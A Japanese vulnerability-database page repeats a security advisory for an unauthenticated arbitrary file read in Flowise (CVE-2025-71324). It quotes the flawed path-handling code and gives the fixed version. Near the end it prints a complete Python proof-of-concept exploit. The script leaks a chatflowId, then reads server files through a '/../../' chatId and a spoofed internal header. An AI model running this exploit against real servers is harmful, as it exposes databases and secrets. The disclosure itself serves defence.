Flowise has an Arbitrary File Read

高 7.5CVE-2025-71324 · GHSA-99pg-hqvx-r4gf · 25/06/2026 公開 · 12/10/2026 更新

要点

CVE-2025-71324 は flowise (flowiseai), flowise に影響する深刻度「高」 (CVSS 7.5) の脆弱性です。
今後30日間に悪用される確率（EPSS）：1.6%（全脆弱性の 75.4% より高い）。
対処：3.0.6 以降に更新してください。

パッケージ	影響を受けるバージョン	修正済みバージョン
flowise flowiseai	`< 3.0.6`	`3.0.6`
flowise npm	`≥ 3.0.5, < 3.0.6`	`3.0.6`

概要

Summary

An arbitrary file read vulnerability in the chatId parameter supplied to both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content.

Details

Both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints accept the chatId parameter and pass this to a subsequent call to streamStorageFile().

const chatflowId = req.query.chatflowId as string
const chatId = req.query.chatId as string
const fileName = req.query.fileName as string

...
 const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId)

While streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId.

    // Validate chatflowId
    if (!chatflowId || !isValidUUID(chatflowId)) {
        throw new Error('Invalid chatflowId format - must be a valid UUID')
    }

    // Check for path traversal attempts
    if (isPathTraversal(chatflowId)) {
        throw new Error('Invalid path characters detected in chatflowId')
    }
...
    const sanitizedFilename = sanitize(fileName)
...
	const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)

There is validation that the resulting filePath is restricted to the /root/.flowise/storage directory.

if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)

However, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted.

        if (fs.existsSync(filePath)) {
            return fs.createReadStream(filePath)
        } else {
            // Fallback: Check if file exists without orgId
            const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename)

            if (fs.existsSync(fallbackPath)) {
                // Create directory if it doesn't exist
                const dir = path.dirname(filePath)
                if (!fs.existsSync(dir)) {
                    fs.mkdirSync(dir, { recursive: true })
                }

                // Copy file to correct location with orgId
                fs.copyFileSync(fallbackPath, filePath)

                // Delete the old file
                fs.unlinkSync(fallbackPath)

                // Clean up empty directories recursively
                _cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId))

                return fs.createReadStream(filePath)

参考情報

FlowiseAI/Flowise security advisory · WEB
FlowiseAI/Flowise · PACKAGE
vulncheck.com/advisories/flowise-arbitrary-file-read-via-chatid-parameter · Third Party Advisory

flowise のその他の脆弱性

すべて見る →

これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。

無料でサイトをスキャン

パッケージ

影響を受けるバージョン

修正済みバージョン

flowise

flowiseai

< 3.0.6

3.0.6

flowise

npm

≥ 3.0.5, < 3.0.6

3.0.6

概要

Summary

Details

Both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints accept the chatId parameter and pass this to a subsequent call to streamStorageFile().

const chatflowId = req.query.chatflowId as string
const chatId = req.query.chatId as string
const fileName = req.query.fileName as string

...
 const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId)

While streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId.

    // Validate chatflowId
    if (!chatflowId || !isValidUUID(chatflowId)) {
        throw new Error('Invalid chatflowId format - must be a valid UUID')
    }

    // Check for path traversal attempts
    if (isPathTraversal(chatflowId)) {
        throw new Error('Invalid path characters detected in chatflowId')
    }
...
    const sanitizedFilename = sanitize(fileName)
...
	const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)

There is validation that the resulting filePath is restricted to the /root/.flowise/storage directory.

if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)

However, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted.

        if (fs.existsSync(filePath)) {
            return fs.createReadStream(filePath)
        } else {
            // Fallback: Check if file exists without orgId
            const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename)

            if (fs.existsSync(fallbackPath)) {
                // Create directory if it doesn't exist
                const dir = path.dirname(filePath)
                if (!fs.existsSync(dir)) {
                    fs.mkdirSync(dir, { recursive: true })
                }

                // Copy file to correct location with orgId
                fs.copyFileSync(fallbackPath, filePath)

                // Delete the old file
                fs.unlinkSync(fallbackPath)

                // Clean up empty directories recursively
                _cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId))

                return fs.createReadStream(filePath)

flowise のその他の脆弱性

すべて見る →

import argparse import re import requests def read_file(url, file_path, proxy): base_url = url proxies = {'http': proxy, 'https': proxy} if proxy else None print(f">> starting exploit against {base_url}") if proxy: print(f">> using proxy: {proxy}") try: print("[*] step 1: leaking chatflowid") initial_headers = {} files = {'files': ('?', 'asdf', 'text/plain')} response = requests.post(f"{base_url}/api/v1/vector/upsert/", files=files, headers=initial_headers, timeout=10, proxies=proxies) chatflow_id_matches = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', response.json().get("message", "")) if len(chatflow_id_matches) < 2: print("[-] failed to leak chatflowid.") return chatflow_id = chatflow_id_matches[1] print(f"[+] got chatflowid: {chatflow_id}") print(f"[*] step 2: reading file: {file_path}") internal_headers = {'x-request-from': 'internal'} params = {'chatflowId': chatflow_id, 'chatId': '/../../', 'fileName': file_path} response = requests.get(f"{base_url}/api/v1/get-upload-file", params=params, headers=internal_headers, timeout=10, proxies=proxies) if response.status_code != 200: print(f"[-] failed to read file (status: {response.status_code}).") print(response.text) return file_content = response.text print(f"[+] successfully read file ({len(response.content)} bytes).") print("\n--- file content ---") print(file_content) print("--------------------\n") except requests.exceptions.RequestException as e: print(f"\n[-] an unexpected error occurred: {e}") except Exception as e: print(f"\n[-] an unexpected error occurred: {e}") return if __name__ == "__main__": parser = argparse.ArgumentParser(description="Read arbitrary files") parser.add_argument("-u", "--url", type=str, required=True, help="target base url (e.g., http://127.0.0.1:3000)") parser.add_argument("-f", "--file", type=str, required=True, help="path of the file to read on the server (e.g., database.sqlite)") parser.add_argument("-x", "--proxy", type=str, help="proxy to use (e.g., http://127.0.0.1:8080)") args = parser.parse_args() read_file(args.url, args.file, args.proxy)

Flowise has an Arbitrary File Read

要点

概要

Summary

Details

参考情報

flowise のその他の脆弱性

Flowise has an Arbitrary File Read

要点

概要

Summary

Details

参考情報

flowise のその他の脆弱性

PoC

Impact